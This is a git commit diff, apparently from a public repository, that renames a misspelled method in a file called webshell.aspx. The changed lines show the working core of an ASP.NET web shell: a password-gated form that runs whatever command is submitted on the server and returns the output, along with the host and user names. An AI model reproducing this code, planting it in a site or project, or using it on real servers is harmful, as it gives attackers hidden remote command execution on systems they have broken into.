Update webshell.aspx

This commit is contained in:
Mariusz 2019-02-05 10:07:13 +01:00 committed by GitHub
parent 8501c75007
commit 4167f799bc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 4 deletions

View File

@ -18,7 +18,7 @@
CommandTextbox.Value = Request.Form["CommandTextbox"];
}
string ExcuteCommand(string arg)
string ExecuteCommand(string arg)
{
if (arg.Length >= 1)
{
@ -40,11 +40,11 @@
{
if (Request.Form["PasswordTextbox"] == Password)
{
string h = Server.HtmlEncode(ExcuteCommand("hostname")).Trim();
string u = Server.HtmlEncode(ExcuteCommand("whoami")).Trim();
string h = Server.HtmlEncode(ExecuteCommand("hostname")).Trim();
string u = Server.HtmlEncode(ExecuteCommand("whoami")).Trim();
Hostname.Text = u + "@" + h;
CommandOutput.InnerHtml = Server.HtmlEncode(ExcuteCommand(Request.Form["CommandTextbox"]));
CommandOutput.InnerHtml = Server.HtmlEncode(ExecuteCommand(Request.Form["CommandTextbox"]));
}
else
{